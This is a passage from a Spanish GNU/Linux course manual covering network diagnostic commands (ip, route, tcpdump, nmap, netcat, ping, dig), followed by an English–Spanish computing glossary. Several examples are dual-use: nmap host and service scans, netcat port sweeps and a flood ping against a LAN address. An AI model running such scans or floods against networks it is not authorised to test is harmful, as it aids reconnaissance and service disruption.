iwlist se utiliza para mostrar información adicional de una interfaz de red inalámbrica
que no se muestra con iwconfig. El principal argumento se utiliza para seleccionar una
categoría de información, iwlist muestra en forma detallada, toda la información
relacionada a esta categoría, incluida la información que se muestran por iwconfig.

Es bueno que sepas que puedes obtener todas los argumentos posibles para este y casi
todos los comandos mediante.
root@zxlaptop:~# iwlist --help

Mostrar información de todas las redes inalámbricas que nuestra tarjeta detecta con la
información correspondiente a cada red.
root@zxlaptop:~# iwlist wlan0 scan

Mostrar los diferentes valores de frecuencia y su correspondencia.


root@zxlaptop:~# iwlist wlan0 frequency

Mostrar los canales con sus frecuencias correspondientes, además este comando me
muestra el canal actual en el que estoy.
root@zxlaptop:~# iwlist wlan0 channel

0.5 ip
Este comando es parte de la herramienta iproute y es usado para configuración de
parámetros de dispositivos de red.

Muestra todas la interfaces de red activas


[root@blackangel ~]# ip addr show

Este comando asigna una dirección ip a la interfaz


[root@blackangel ~]# ip addr add 192.168.100.23/24 dev eth0

Este comando configura un mtu de 1420 a la interfaz


[root@blackangel ~]# ip link set mtu 1420 dev eth0

Desactiva el protocolo arp de la interfaz eth0


[root@blackangel ~]# ip link set arp off dev eth0

Desactiva el protocolo arp de la interfaz wlan0


[root@blackangel ~]# ip link set arp off dev wlan0

Deshabilita la interfaz del modo promiscuo.


[root@blackangel ~]# ip link set promisc off dev eth0

0.6 route
Es una herramienta de línea de comandos disponible tanto en Windows como en Linux.
El comando route nos permite manipular las tablas de enrutamiento de nuestro sistema.

Diplomado de GNU/Linux
134
Fundación Código Libre Dominicano
http://www.codigolibre.org

[root@blackangel ~]# route add default gw 192.168.100.10


Este comando configura una ruta por defecto

[root@blackangel ~]# route -n


Este comando muestra la tabla de enrutamientos de tu pc

[root@blackangel~]# route add -net 192.168.10.0/24 dev eth0


Este comando agrega la red 192.168.10.0 a través de la interfaz

[root@blackangel~]# route del -net 192.168.10.0/24 dev eth0


Este elimina la ruta.

[root@blackangel~]#route add -host 192.168.10.10 gw 192.168.10.1


Agrega a un host una ruta por defecto

0.7 traceroute
La orden traceroute permite registrar la ruta seguida por un datagrama hasta un destino
determinado. Su funcionamiento se basa en mensajes ICMP y en la variación del parámetro
TTL de las cabeceras IP. Averigüe el camino para alcanzar la máquina
www.codigolibre.org,
# traceroute -n www.codigolibre.org

0.8 tcpdump
Es una herramienta en línea de comandos cuya utilidad principal es analizar el tráfico
que circula por la red.
Permite al usuario capturar y mostrar a tiempo real los paquetes transmitidos y
recibidos en la red a la cual el ordenador está conectado. Está escrito por Van
Jacobson, Craig Leres, y Steven McCanne que trabajaban en ese momento en el Grupo de
Investigación de Red del Laboratorio Lawrence Berkeley. Más tarde el programa fue
ampliado por Andrew Tridgell.
tcpdump funciona en la mayoría de los sistemas operativos UNIX: Linux, Solaris, BSD,
Mac OS X, HP-UX y AIX entre otros. En esos sistemas, tcpdump hace uso de la librería
libpcap para capturar los paquetes que circulan por la red.
Muestra todo el tráfico que esta por la eth0
[root@blackangel ~]# tcpdump -i eth0

Muestra solo el tráfico del puerto 22 en la eth0


[root@blackangel ~]# tcpdump -i eth0 port 22

Muestra de forma numérica las ip y los protocolos que estén corriendo


[root@blackangel ~]# tcpdump -nni eth0

0.9 arp
Manipula el cache arp de varias formas. En primer lugar, hay opciones para limpiar
cache la direcciones mapeadas y la agregadas manualmente.
Nos muestra la tabla arp de manera verbose o detalle.
[root@blackangel ~]# arp -v

Diplomado de GNU/Linux
135
Fundación Código Libre Dominicano
http://www.codigolibre.org

Muestra el nombre del host


[root@blackangel ~]# arp -a

Remueve un host de la tabla


[root@blackangel ~]# arp -d 192.168.10.10

0.10 nmap
Es una herramienta libre para exploración de redes y auditoría de seguridad.
El siguiente comando te muestra el nombre dominio de el host el tipo de sistema
operativo, que puertos están abiertos y la versión de servicio.
[link@blackangel ~]$ nmap -A -T4 192.168.236.230

Escanea una red complete nos da la dirección física de cada PC


[link@blackangel ~]$ nmap -sP 192.168.100.0/25

Muestra solo los puertos udp


[link@blackangel ~]$ nmap -sU 192.168.100.10

Muestra todo lo puertos en tcp


[link@blackangel ~]$ nmap -sT 192.168.100.10

0.11 netstat
Es una herramienta libre para mostrar conexiones de red tablas de enrutamiento,
conexiones enmascaradas y establecimientos de multicast.

Este comando muestra los listen sockets y el pid del programa y el nombre del programa.
[root@blackangel ~]# netstat -lp

Muestra todas la conexiones udp


[root@blackangel ~]# netstat -lua

Muestra todas las conexiones en tcp


[root@blackangel ~]# netstat -lta

Muestra la tabla de enrutamiento


[root@blackangel ~]# netstat -nr

0.12 netcat, o nc
Es una herramienta utilizada para supervisar y escribir sobre conexiones tanto por TCP
como por UDP. Puede abrir conexiones TCP, enviar paquetes UDP, escuchar sobre puertos
arbitrarios tanto TCP como UDP, supervisión de puertos y más, tanto para IPv4 como
IPv6. Es una de las herramientas de diagnóstico y seguridad más populares y también una
de las mejor calificadas por la comunidad.

[root@blackangel ~]#nc 127.0.0.1 25

Si hay un servidor de correo funcionado, lo anterior puede devolver una salida similar
a la siguiente:

Diplomado de GNU/Linux
136
Fundación Código Libre Dominicano
http://www.codigolibre.org

220 localhost.localdomain ESMTP ; Wed, 28 May 2008 10:24:52 -0500 quit


221 2.0.0 localhost.localdomain closing connection

[root@blackangel ~]#nc -vz 127.0.0.1 21-25


Lo anterior puede devolver una salida como la siguiente, si se encontrasen abiertos los
puertos 21, 22 y 25.

Connection to 127.0.0.1 21 port [tcp/ftp] succeeded!


Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!
Connection to 127.0.0.1 25 port [tcp/smtp] succeeded!

0.13 ping
(Packet Internet Grouper) se trata de una utilidad que comprueba el estado de la
conexión con uno o varios equipos remotos por medio de los paquetes de solicitud de eco
y de respuesta de eco (definidos en el protocolo de red ICMP) para determinar si un
sistema IP específico es accesible en una red. Es útil para diagnosticar los errores en
redes o enrutadores IP.
Muchas veces se utiliza para medir la latencia o tiempo que tardan en comunicarse dos
puntos remotos, y por ello, se utiliza entre los aficionados a los juegos en red el
término PING para referirse al lag o latencia de su conexión.
Este comando cuenta 4 paquetes icmp.
[root@blackangel ~]# ping -c 4 192.168.236.225

Nos permite dar un ping a la dirección de broadcast.


[root@blackangel ~]# ping -b 192.168.236.255

Este comando envía paquetes 512by que cuente 400 paquetes que haga una inundación y lo
muestra numéricamente.
[root@blackangel~]#ping -s 512 -c 400 -f -n 192.168.236.225

Este comando cuenta 5 paquetes icmp lo muestra numéricamente el host con tiempo de vida
de 5 segundos.
[root@blackangel ~]#ping -c 5 -n -t 5 192.168.236.225

0.14 dig
El mandato dig (domain information groper) es una herramienta flexible para realizar
consultas en Servidores DNS. Realiza búsquedas y muestra las respuestas que son
regresadas por los servidores que fueron consultados. Debido a su flexibilidad y
claridad en la salida es que la mayoría de los administradores utilizan dig para
diagnosticar problemas de DNS.

Esto fue a una consulta a los dns de google


[root@blackangel ~]# dig google.com

Esta es una consulta la nombre google.com y el tipo que name server


[root@blackangel ~]# dig google.com NS

Este es una consulta para los correos.


[root@blackangel ~]# dig google.com MX

Diplomado de GNU/Linux
137
Fundación Código Libre Dominicano
http://www.codigolibre.org

0.15 nslookup
Es un programa, utilizado para saber si el DNS está resolviendo correctamente los
nombres y las IPs. Se lo utiliza con el comando nslookup, que funciona tanto en windows
como en unix para obtener la dirección IP conociendo el nombre, y viceversa.

Este comando le hace una consulta al dns declarado en /etc/resolv.conf


[root@blackangel ~]# nslookup google.com

Diplomado de GNU/Linux
138
Fundación Código Libre Dominicano
http://www.codigolibre.org

Glosario de términos
El objetivo de este glosario no es explicar el significado de los términos de
informática usados en inglés, sino dar una lista de sugerencias para su traducción al
español. Este glosario es útil para quien ya tiene suficientes conocimientos de
informática en inglés; a quienes busquen un glosario que explique el significado de las
palabras técnicas de informática en inglés les recomiendo consultar el Glosario básico
inglés-español para usuarios de Internet, de Rafael Fernández Calvo (ver bibliografía o
el archivo ``fuentes'').

Las traducciones que se presentan en este glosario son las que han sido aceptadas por
la comunidad que produce documentación libre para programas libres, independientemente
de que sean consideradas erróneas por algunos; en los casos en que existe polémica, se
da alguna información adicional. Se ha adoptado un punto de vista pragmático según el
cual lo mas importante es la comprensión del mensaje y no su forma; por eso no se ha
intentado definir cuales son los términos correctos (si es que existen) sino cuales son
los que serán comprendidos por la mayor parte de los lectores, evitando extranjerismos
cuando sea posible.

Los verbos son indicados por una v entre paréntesis. Los adjetivos son traducidos en la
forma masculina y en los substantivos se indica su género cuando no es obvio. Cuando
una palabra tiene varios significados, estos aparecen numerados; y si la traducción al
español tiene varios significados, se explica entre paréntesis a cual de ellos se
refiere. Hay palabras para las cuales el consenso general es que no deben ser
traducidas; en esos casos aparece como traducción la misma palabra en inglés, seguida
de una posible traducción para los casos en que sea necesario traducirla.

La principal fuente para este glosario ha sido la comunidad hispano-parlante que


desarrolla y usa software libre, participando directamente en la edición del glosario a
través de su interfaz web <http://quark.fe.up.pt/orca>, o indirectamente a través de
sus discusiones en las listas de correo sobre el tema. La lista de colaboradores
aparece en un apéndice y en el archivo ``colaboradores''; las listas de correo y
publicaciones usadas se indican en la bibliografía y en el archivo ``fuentes''.

@
at, en (y no ``arroba'').

&
ver ampersand.

/
ver slash.

\
ver backslash .

A
abort - fracaso, interrupción, cancelación, aborto.
abort (v) - abortar, fracasar, interrumpir, cancelar (fuera del contexto informático,
podrá ser también abortar).
AC current - Corriente alterna.

Diplomado de GNU/Linux
139
Fundación Código Libre Dominicano
http://www.codigolibre.org

AC Drive - Variador.
Accounting - contabilidad.
Add-on - añadido, anexo.
Address - dirección.
Advanced Power Management (APM) - Avanzado Manejo de Potencia (AMP), Manejo Avanzado de
Potencia.
Age - edad, antigüedad.
Alias - alias, acceso directo.
allocate (v) - asignar, reservar.
allocation group - grupo asignado (cf. sistema de archivos/archivo XFS).
Alphanumeric - alfanumérico.
Ampersand - y (caracter empleado en programación C para señalar direcciones de memoria,
y en html para codificar otros caracteres extraños a la lengua inglesa, del latín
``et'', al).
Anchor - ancla, áncora, enlace.
anchor (v) - anclar.
Anti-aliasing - suavizado de bordes, antisolapamiento.
append (v) - juntar, unir, concatenar, añadir.
Applet - miniaplicación, aplique, applet (programa en Java, ejecutable por un
navegador; dícese también de cualquier pequeño programa que se acopla al sistema).
Appliance - dispositivo.
Application Program Interface (API) - Interfaz de Programación de Aplicaciones.
Appraisal - estimación.
Archive - archivo, paquete (como ``archivo'' es muy usado también para traducir
``file'', puede ser necesario aclarar de que tipo de archivo se trata).
archive (v) - archivar, empaquetar.
Argument - argumento, parámetro.
Array - arreglo, formación, estructura, matriz, vector (``arreglo'' es considerada por
algunos una mala traducción, pero su uso ya está bastante generalizado).
Artificial Intelligence (AI) - inteligencia artificial, inteligencia artificial.
Ascender - ascendente.
ASCII-Armoured text - texto con armadura ASCII, ASCII blindado.
Aspect-oriented programming - programación orientada a aspectos.
Assapps - applet, archivos pps.
Assembler - 1. ensamblador (lenguaje de programacion). 2. montador o ensamblador
(persona que monta ordenadores), Lenguaje Maquina.
Assembly - lenguaje ensamblador, ensamblado (utilizado mucho en .NET/Mono).
Assessment - estimación, juicio, impresión.
Asset - asset, asset.
asset (econ.) - activo, ASSET.
Assignment - asignación.
associative array - vector asociativo, arreglo asociativo (array es en ocasiones
utilizado como arreglo, a pesar de que algunos no concuerden).
assume (v) - suponer.
Asymmetric Digital Suscriber Line (ADSL) - línea digital asimétrica de abonado.
attach (v) - adjuntar, anexar, anexionar.
Attachment - documento adjunto, anexo.
Attribute - atributo.
Authentication - autenticación, autentificación, identificación, validación.
Autoprobe - autocomprobación.

Diplomado de GNU/Linux
140
Fundación Código Libre Dominicano
http://www.codigolibre.org

B
b-tree (filesystem) - sistema de archivos basado en árboles balanceados.
Back-end - motor (de un compilador o programa), dorsal.
Backbone - eje principal, red troncal, estructura principal.
Background - segundo plano, trasfondo.
backport (v) - portear o adaptar un componente de software nuevo a otro más antiguo con
la finalidad de agregar una funcionalidad nueva.
Backslash - barra invertida, contrabarra.
Backtick - acento grave, nombre dado ocasionalmente al caracter ` usado en ambientes
tipo Unix.
Backup - copia de seguridad, copia de respaldo, salvaguarda.
backup (v) - respaldar, hacer copias de respaldo.
backward compatible - compatible con anteriores.
Bandwith - amplitud de banda, ancho de banda.
Banner - pancarta, aviso.
Baseline - línea de base, directrices (condiciones generales que un programa, proceso o
producto debe cumplir).
Batch - lote.
batch processing - procesamiento por lotes, procesamiento en lotes.
Batch-scan - sondeo por lotes.
Batcher - procesador por lotes.
Baud - baudio (unidad de medida de la velocidad de transmisión de información).
baud rate - tasa de baudio.
Benchmark - banco de pruebas, prueba comparativa.
Big-endian - byte más significativo primero.
bind (v) - enlazar, ligar.
Binding - enlace, ligadura.
Bit - bit (unidad elemental de información, consistente en una variable booleana, con
valores 0 o 1).
bit mask - máscara de bits.
Bitmap - mapa de bits.
Bitrate - tasa de bits.
Bitstream - flujo de bits.
Blank - vacío, en blanco.
Block - bloque.
block (v) - bloquear (impedir el acceso).
blur (v) - tornar más difuso, emborronar, difuminar.
Bookmark - marcador, marcapáginas.
Boot - arranque, inicio, proceso de arranque.
boot (v) - arrancar, iniciar.
boot loader - gestor de arranque.
boot partition - partición de arranque.
boot record - registro de arranque, registro de inicio (en un disco duro).
Bootable - puede ser usado para arrancar (una partición en disco duro).
Bootrom - (memoria) ROM de inicio.
Bootstrap - rutina de arranque, arranque autónomo, marca de inicio en los carretes de
cinta.
Bot - robot (usado en AI).
Breakpoint - punto de ruptura, punto de corte.
Broadcast - difusión.
broadcast (v) - anunciar, difundir.

Diplomado de GNU/Linux
141
Fundación Código Libre Dominicano
http://www.codigolibre.org

browse(v) - navegar, ojear, revisar.


Browser - navegador, visualizador, ojeador (navegador es más usada cuando se trata de
hipertexto y visualizador en otros casos. Existe alguna polémica acerca de
``visualizador'' y han sido propuestas otras posibilidades como visor o examinador, que
no son muy usadas).
Brush - pincel, brocha.
bubble sort - ordenación por el método de la burbuja.
Buffer - búfer, memoria tampón, memoria intermedia.
Bug - error, fallo, bicho, gazapo (gazapo ha sido propuesta por algunos especialistas,
pero no es muy usada).
Bug-fix - corrección de fallo.
Build - revisión -normalmente numerada- del conjunto de archivos que componen una
aplicación.
built in - incorporado, incluido.
Bulletin Board System (BBS) - tablón de anuncios electrónico, foros, sistema de foros.
bundle (v) - incluir (Ej.: Bundled software -> Software incluido en el sistema).
burst page - página en bruto, página de separación (página añadida por muchos gestores
de impresión para separar los trabajos).
Bus - bus, línea de datos, cable de datos, bus de datos.
Byte - byte, octeto (unidad de información compuesta por ocho bits; una variable de 1
byte puede contener 256 valores diferentes), megabyte, unidad de información compuesta
por ocho variables de 1 byte.

C
cache - almacén, deposito (algunos usan caché que suena parecido mas no traduce bien su
significado), memoria temporal.
cache memory - antememoria, memoria inmediata, memoria cache (ver cache).
Callback - retrollamada, llamada de retorno.
camel caps - mayúsculas mediales.
camera ready - preparado para cámara, preparado para su publicación (se usa para
indicar la manera de mandar artículos a una revista listos para su publicación).
Canvas - lienzo, tapiz.
Capability - capacidad.
Caps - letras mayúsculas.
Card - tarjeta.
Cardinality - cardinalidad.
Caret - circunflejo (el símbolo o acento ^ usado para mostrar que algo va a ser
insertado en material escrito o impreso en el lugar en el que se encuentra.).
case sensitive - distingue mayúsculas de minúsculas.
Cast - molde, plantilla.
catch-up (v) - actualizarse, ponerse al día.
cellular automata - autómata celular.
Central Processing Unit (CPU) - Unidad de Procesamiento Central, Unidad Central de
Proceso.
Changelog - novedades, últimos cambios.
Channel - canal.
character set - conjunto de caracteres (conjunto de signos que se representan mediante
un código. El más conocido de estos códigos es el ASCII, que utiliza los 256 caracteres
que se pueden representar con un byte).
Charset - juego de caracteres.
Chat - charla, tertulia.

Diplomado de GNU/Linux
142
Fundación Código Libre Dominicano
http://www.codigolibre.org

chat (v) - chatear, conversar, charlar.


check button - botón de verificación, casilla de verificación.
check out - probar, comprobar.
check out (v) - descargar.
Checkbox - caja de selección, casilla de selección.
Checker - 1. corrector. 2. cuadrado de un tablero de ajedrez. 3. cajero.
Checkpoint - punto de control.
Checksum - suma de control, suma de verificación, suma de comprobación.
Chess - ajedrez.
chief architect - desarrollador jefe.
child process - proceso hijo.
Chip - circuito integrado.
Chipset - chipset, conjunto de chips, conjunto de chips que se utilizan para comunicar
el procesador con los diferentes componentes del motherboard.
Choke - 1. obturador, estrangulador. 2. sofocamiento.
Chroot - cambio de directorio raíz, raíz virtual.
Class - clase.
Clause - cláusula.
Clean – limpio.
clean (v) - limpiar, despejar.
clear (v) - borrar.
Command Line Interface (CLI) - interfaz de usuario, interfaz de linea de comandos.
Click - clic, pulsación.
click (v) - hacer clic, pulsar, pinchar.
Clickstream - secuencia de pulsaciones de los botones del ratón (clicks).
Client - cliente.
Clipboard - portapapeles.
clock rate - velocidad de reloj.
Clone - clon.
closed source - propietario, las fuentes no están disponibles.
Closure - clausura, cierre.
Clumsy - torpe, difícil de manejar.
Cluster - grupo, cúmulo, cluster, racimo.
cluster (v) - agrupar.
Coder - programador, codificador.
cold boot - arranque en frío.
Collations - cotejamientos.
Colon - dos puntos (signo de puntuación :).
command - comando, orden, instrucción, mandato (el uso de ``comando'' está bastante
generalizado, aunque algunos lo consideren erróneo).
command line - línea de comando.
commit (v) - 1. enviar. 2. comprometer. 3. aplicar, llevar a cabo, efectuar.
Common Gateway Interface (CGI) - interfaz común de acceso (un estándar para elaborar
pequeños programas que permiten la interacción entre un navegador y un servidor web).
compile (v) - compilar.
Compiler - compilador.
Compliant - en conformidad, conforme con, compatible.
compose (v) - redactar.
Composer - 1. redactor (de correo, por ejemplo). 2. compositor (de música).
compress (v) - comprimir.
Compression - compresión.

Diplomado de GNU/Linux
143
Fundación Código Libre Dominicano
http://www.codigolibre.org

Compromised - violentado (cuando se refiere a un equipo/sistema en el que ha entrado un


intruso).
Computable - calculable.
Computer - computadora, ordenador, computador.
Computer Aided Design (CAD) - diseño asistido por ordenador (computadora).
computer nerd - empollón informático.
concatenate (v) - concatenar, nat.
Concern Oriented Programming - Programación orientada a asuntos.
Concurrency - concurrencia, simultaneidad (término usado para expresar la capacidad de
realizar varias tareas a la vez).
Conjunction - conjunción (conector lógico de dos proposiciones que en castellano se
expresa mediante la conjunción "y").
connect (v) - conectar.
connected graph - grafo conexo.
Cons - contras.
Constraint - restricción.
Constructor - constructor.
Context - contexto.
Converse - contrario, opuesto.
converse (v) - conversar.
Converter - convertidor, conversor.
convex hull - envoltura convexa, cierre convexo.
Cookbook - recetario.
Cookie - galleta (mensaje enviado por un servidor web a un navegador para que éste lo
guarde en el ordenador del usuario y sea enviado de nuevo al servidor, cada vez que el
usuario consulta una de sus páginas).
Coprocessor - coprocesador.
Copyleft - derecho de copia, izquierdo de copia.
Copyright - derechos de autor.
Copyrighted - sujeto a derechos de autor.
Cordless - inalámbrico.
Core - corazón, núcleo, motor (program core: motor del programa; ver también ``core
file'').
core dump - volcado de memoria.
core dump (v) - hacer un volcado de memoria (cuando un programa acaba de forma
inesperada).
core file - archivo (archivo) core, archivo (archivo) imagen de memoria, archivo
(archivo) de volcado de memoria.
core voltage - voltaje interno.
Corrupted - dañado.
Counter - contador.
Courseware - software de apoyo (a cursos de formación).
Cover - portada.
crack (v) - invadir, penetrar.
Cracker - maleante informático.
Crash - ruptura, caída (del sistema).
crash (v) - colgarse (un ordenador), fallar (un programa).
Crawler - gateador, bot, cliente automatizado .
cron job - trabajo (o guión) programado para ejecución a una hora predeterminada bajo
control del demonio cron.
Cross-assembler - ensamblador cruzado.

Diplomado de GNU/Linux
144
Fundación Código Libre Dominicano
http://www.codigolibre.org

Cross-compiler - compilador cruzado.


Cross-platform - multiplataforma.
Cross-post - envío cruzado, envío múltiple, correo con destinatarios múltiples (envío
de un mismo mensaje a múltiples grupos de noticias).
Crypt - cifrar.
cue point - punto de referencia.
Current - 1. actual, en vigor, en curso. 2. corriente (por ejemplo eléctrica).
Cursor - cursor.
Customize - personalizar.
cut and paste (v) - cortar y pegar.
Cyber - cíber (prefijo griego. Todo aquello relacionado con la comunicación empleando
medios electrónicos).
Cyberspace - ciberespacio (es decir, el espacio de la comunicación).

D
daemon - demonio, proceso en segundo plano, duende (proceso de ejecución independiente)
daisy chain - conexión en serie.
daisywheel printer - impresora de margarita.
Dash - raya.
Data - datos, (pointers).
data mining - minería de datos.
Database - base de datos, banco de datos.
Datagram - datagrama.
Date - fecha.
de facto standard - estándar de hecho, norma de facto, regulación de facto.
Deadlock - bloqueo mutuo, interbloqueo.
debug (v) - depurar, corregir errores (en un programa).
Debugger - depurador.
declarative language - lenguaje declarativo.
decode (v) - decodificar, descodificar.
Decoder - decodificador, descodificador.
Decrypt - descifrar.
Default - por omisión, de manera predeterminada, predefinido, por definición, por
defecto.
default file - archivo (archivo) predeterminado.
Deferral - posposición.
deflate (v) - deshinchar.
defragment (v) - desfragmentar.
Delay - demora, retardo.
delete (v) - borrar, eliminar.
Delimiter - delimitador, separador.
Demo - demostración.
demodulate (v) - demodular, traducir tonos a señales digitales (en un modem).
denial of service - rechazo de servicio, denegación de servicio.
deny (v) - denegar, recusar.
Deploy - despliegue, desplegar.
Descender - descendente.
Descriptor - descriptor.
Desktop - escritorio, computador.
detach (v) - descolgar, desenganchar, separar.
Developer - desarrollador.

Diplomado de GNU/Linux
145
Fundación Código Libre Dominicano
http://www.codigolibre.org

Development - desarrollo.
Device - dispositivo.
devise (v) - inventar, diseñar, planear.
dial-up link - enlace telefónico, enlace por red telefónica.
dial-up login - ingreso por red telefónica.
dialog box - cuadro de diálogo, caja de diálogo.
Diff - archivo de diferencias (hace referencia al uso del programa 'diff').
Diffusion - difusión.
Digest - recopilación, resumen, síntesis.
dike (v) - contener.
Directory - directorio.
disable (v) - inhabilitar.
Discard - deshacer.
Disclaimer - renuncia de responsabilidades, descargo.
discuss (v) - comentar, tratar (un tema).
discussion groups - grupos de debate.
dispatch (v) - despachar, enviar.
Display - pantalla, visualizador.
display (v) - mostrar, visualizar.
display menu - menú de visualización.
Disposable - desechable.
Distribution - distribución (de Linux, por ejemplo).
Dithering - difuminado.
Docroot - raíz de documentos (en un wervidor web), directorio base.
Documentation - documentación.
domain name system (DNS) - Sistema Nominal de Dominios.
Doorstop - tope (de una puerta).
Dot - punto (puede referirse al punto en una URL).
dot matrix printer - impresora de matriz de puntos.
Down - fuera de servicio.
Downgrade - versión anterior.
downgrade (v) - 1. menoscabar, disminuir. 2. instalar una versión anterior.
download (v) - descargar, transferir, recibir, bajar, obtener.
Downsizing - reducción, disminución.
Downstream - flujo descendente.
downstream port - puerto de recepción.
Downtime - tiempo de inactividad.
Draft - borrador.
drag and drop - arrastrar y soltar.
Drill - ejercicio, entrenamiento.
Drive - unidad (de disco), volúmen, dispositivo.
Driver - controlador, manejador, gestor (driver de video, driver de sonido), circuito
de gobierno, driver simple de comunicaciones.
dual boot - de arranque doble o dual, que puede arrancar dos (o más) sistemas
operativos diferentes.
Dumb - 1. sin procesamiento. 2. bobo, tonto.
dumb terminal - terminal sin procesamiento.
Dummy - mudo, vacío.
Dump - volcado, vuelco.
Dungeon - mazmorra.

Diplomado de GNU/Linux
146
Fundación Código Libre Dominicano
http://www.codigolibre.org

E
e-mail - 1. correo electrónico. 2. mensaje ("send me an e-mail": envíame un mensaje).
e.g. - por ejemplo (del latín exemplia gratia; en castellano se usa v.g. del latín
verbi gratia).
Edge - límite, borde.
electronic mail - correo electrónico.
elevation grids - mapas de elevación.
Ellipse - elipse.
embed (v) - empotrar, embeber, incrustar.
Embedded - empotrado, embebido, puesto a prueba.
embedded system - sistema integrado (software 'integrado' en hardware, ejemplos de un
"embedded system" son routers, teléfonos móviles, etc.).
emerge - emerge.
enable (v) - activar, habilitar.
Enabling - habilitación.
encode (v) - codificar.
Encoder - codificador.
encrypt (v) - cifrar, codificar, encriptar.
Encryption - cifrado, codificación, encriptación.
Endian - vease ``big-endian'' y ``little-endian''.
Endless - interminable.
Enhancement - mejora.
enlarge (v) - ampliar.
Entity - entidad.
Entries - entradas, líneas, renglones.
Environment - entorno, ambiente.
erase (v) - borrar.
Error - error.
escape (v) - escapar, preceder con escape, exceptuar.
Evaluator - evaluador.
Event - evento, suceso.
Event-driven - basado o gestionado por eventos, orientado a eventos, dirigido por
eventos.
Executable - ejecutable.
execute (v) - ejecutar.
expire time - tiempo de caducidad.
Extrication - liberación, rescate, extricación.

F
facility - instalación, equipo.
fade in - comienzo gradual.
fade out - final gradual.
fade (v) - atenuar, desvanecer.
Failure - fallo.
Fake - falso.
Fan - ventilador.
Fault - fallo.
Featuren - funcionalidad, característica.
Feed - fuente, suministro.
feed (v) - suministrar.
Feedback - realimentación, comentarios y sugerencias, retroalimentación.

Diplomado de GNU/Linux
147
Fundación Código Libre Dominicano
http://www.codigolibre.org

fetch (v) - obtener.


Field - campo.
File - archivo, archivo (la mayoría de las personas usan exclusivamente una o la otra).
file (v) - archivar.
file erase - archivos borrados.
file system - sistema de archivos, sistema de archivos.
Filehandle - identificador de archivo (programación), descriptor de archivo (archivo),
manejador de archivo (archivo) (contiene la información necesaria para tener acceso a
la información del archivo desde un programa).
filesystem metadata - metadatos del sistema de archivos/archivos.
fill rate - tasa de relleno.
Filter - filtro.
Fingerprint - huella dactilar, huella digital.
Firewall - cortafuegos.
Firmware - microcódigo, soporte lógico incorporado.
Fix - enmienda, corrección.
fix (v) - 1. corregir, arreglar, reparar, enmendar. 2. fijar.
Flag - bandera, indicador, parámetro.
Flame - llama, insulto destructivo, comentario airado, crítica destructiva, soflama.
Flanger - desdoblador.
flat shading - sombreado plano.
flip (v) - voltear.
Floating - flotante.
floating point - punto flotante, coma flotante (en diferentes países se usa el punto o
la comapara separar dígitos enteros y decimales).
floppy disk - disquete, disco flexible.
floppy disk drive - disquetera de discos flexibles o disquetes.
flow chart - diagrama de flujo.
flush (v) – vaciar.
Flux - flujo.
Folder - carpeta, directorio.
Folding - plegado.
follow-up (v) - responder (a un grupo de noticias).
Font - tipo de letra (algunos usan ``fuente'', por su parecido con el término inglés,
que no traduce bien su significado).
Footprint - huella, rastro.
Foreground - primer plano, interactivo.
foreign agent - agente externo.
foreign key - clave foránea, clave ajena.
Fork - bifurcación.
fork (v) - bifurcar, desdoblar.
Format - formato.
format (v) - dar formato, formatear.
Forum - foro.
forward (v) - 1. reenviar, remitir, redireccionar. 2. adelantar.
Forwarding Information Base (FIB) - tabla de rutas, tabla de encaminamiento.
Fqdn - cf. fully qualified domain name.
Fragmentation - fragmentación, partición.
Frame - 1. marco. 2. fotograma.
frame buffer - memoria de imagen, marco de memoria intermedia.
frame relay - conmutación de tramas.

Diplomado de GNU/Linux
148
Fundación Código Libre Dominicano
http://www.codigolibre.org

Framebuffer - cf. frame buffer.


Frames - cuadros, marcos.
Framework - infraestructura, armazón, biblioteca de clases, marco, marco de referencia.
Free - libre como en libertad de expresión, gratis como en barra libre.
Frequency - frecuencia.
Front-end - entorno, interfaz, fachada, frontal.
full data journaling - registro completo de datos (en un sistema de archivos
transaccional).
fully qualified domain name - nombre de domínio completo.
Function - función.
function inlining - expansión de funciones (se copia la función entera en lugar de
hacer una referencia a la misma).
Further - consiguiente, posterior, más extenso, más avanzado.
Fuzzy - difuso.

G
game server - estación de juegos.
Gatekeeper - 1. guarda-portal. 2. portero.
Gateway - pasarela, portal, compuerta, puerta de enlace.
gaussian blur - desenfoque gausiano.
getting started - primeros pasos.
Glob - englobador, el caracter englobador es *, abreviatura de todos.
Glyph - glifo.
grab (v) - capturar.
Graph - grafo, gráfico.
graphic display - representación gráfica.
Graphical User Interface (GUI) - interfaz gráfica de usuario.
Graphics Interchange Format (GIF) - formato para intercambio de gráficas.
Grid - rejilla, grilla, cuadrícula.
Guidelines - directivas.
Gzipped - comprimidos con gzip, comprimidos, compactados.

H
hack - solución chapucera, alteración (``a quick hack''), machetazo.
hack (v) - cargar (``hack a program''), machetear.
Hacker - genio de la informática (no confundir con ``cracker''), experto en informática
handheld - de mano.
handle (v) - manipular.
Handler - manipulador, gestor.
Handover - traspaso (de un nodo móvil desde una subred a otra).
Handshaking - asentimiento, negociación, sincronismo.
hang (v) - colgar, colgarse, bloquearse.
hard disk - disco duro, disco rígido, disco fijo.
hard link - enlace físico, enlace rígido, enlace duro.
harden (v) - bastionar, fortificar con bastiones (implementar todas las medidas de
seguridad posibles para proteger un sistema).
Hardware - máquina, equipo, dispositivo, soporte físico.
Hash - 1. resumen codificado, picadillo. 2. arreglo asociativo (Perl).
hash table - tabla de dispersión, tabla de referencias, tabla hash.
Hassle - lío, enredo, complicación.
hassle (v) - molestar, confundir.

Diplomado de GNU/Linux
149
Fundación Código Libre Dominicano
http://www.codigolibre.org

Header - 1. cabecera (header file). 2. encabezado, encabezamiento (page header).


Heap - montón, pila de datos.
Heuristic - heurístico.
Hex-viewer - visor hexadecimal.
Hi-color - ver 'high-color'.
Hi-tech - ver 'high-tech'.
hide (v) - esconder, esconderse.
Hierarchy - jerarquía.
High-color - color de alta densidad.
High-tech - tecnología de punta.
Highlight - realce, destaque.
highlight (v) - realzar, destacar, resaltar.
Hint - consejo.
hint (v) - 1. sugerir. 2. definir (aplicada a la visualizacion correcta de tipográfia
digital).
Hit - 1. golpe. 2. éxito, acierto. 3. visita (a una página Web).
Hits - golpes, accesos (en una pagina Web).
Home - casa, portada (ver también home page).
home agent - agente local.
home directory - directorio del usuario, directorio principal del usuario.
home page - página principal, página inicial.
Honeynet - sistema trampa (red de sistemas que simulan una red real pero han sido
desplegados para engañar a posibles intrusos).
Honeypot - tarro de miel (sistema/máquina "trampa" utilizado para atraer a posibles
intrusos).
Host - anfitrión, máquina anfitriona, puesto.
host (v) - alojar.
Hostname - nombre de anfitrión.
Hot - caliente.
Hotkey - tecla rápida.
